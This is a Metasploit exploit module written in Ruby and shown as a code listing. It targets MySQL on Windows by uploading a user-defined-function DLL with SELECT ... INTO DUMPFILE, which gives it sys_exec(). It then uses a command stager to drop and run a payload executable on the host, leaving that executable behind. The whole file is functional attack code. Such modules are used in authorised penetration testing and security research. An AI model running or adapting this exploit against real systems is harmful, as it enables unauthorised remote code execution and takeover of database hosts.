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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | ## # $Id: mysql_payload.rb 11899 2011-03-08 22:42:26Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super( update_info( info, 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', 'Description'=> %q{ This module creates and enables a custom UDF (user defined function) on the target host via the SELECT ... into DUMPFILE method of binary injection. On default Microsoft Windows installations of MySQL (=< 5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem. NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() and sys_exec() functions. }, 'Author' => [ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries 'todb' # this Metasploit module ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 11899 $', 'References' => [ # Bernardo's work with cmd exec via udf [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], # Advice from 2005 on securing MySQL on Windows, kind of helpful. [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] ], 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. )) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptBool.new('FORCE_UDF_UPLOAD', [ false, 'Always attempt to install a sys_exec() mysql.function.', false ]), OptString.new('USERNAME', [ false, 'The username to authenticate as', 'root' ]) ]) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def login_and_get_sys_exec mysql_login(username,password,'mysql') @mysql_arch = mysql_get_arch @mysql_sys_exec_available = mysql_check_for_sys_exec() if !@mysql_sys_exec_available || datastore['FORCE_UDF_UPLOAD'] mysql_add_sys_exec @mysql_sys_exec_available = mysql_check_for_sys_exec() else print_status "sys_exec() already available, using that (override with FORCE_UDF_UPLOAD)." end end def execute_command(cmd, opts) mysql_sys_exec(cmd, datastore['VERBOSE']) end def exploit login_and_get_sys_exec() if not @mysql_handle print_status("Invalid MySQL credentials") return elsif not [:win32,:win64].include?(@mysql_arch) print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'") return else if @mysql_sys_exec_available execute_cmdstager({:linemax => 1500, :nodelete => true}) handler else print_status("MySQL function sys_exec() not available") return end end disconnect end end |
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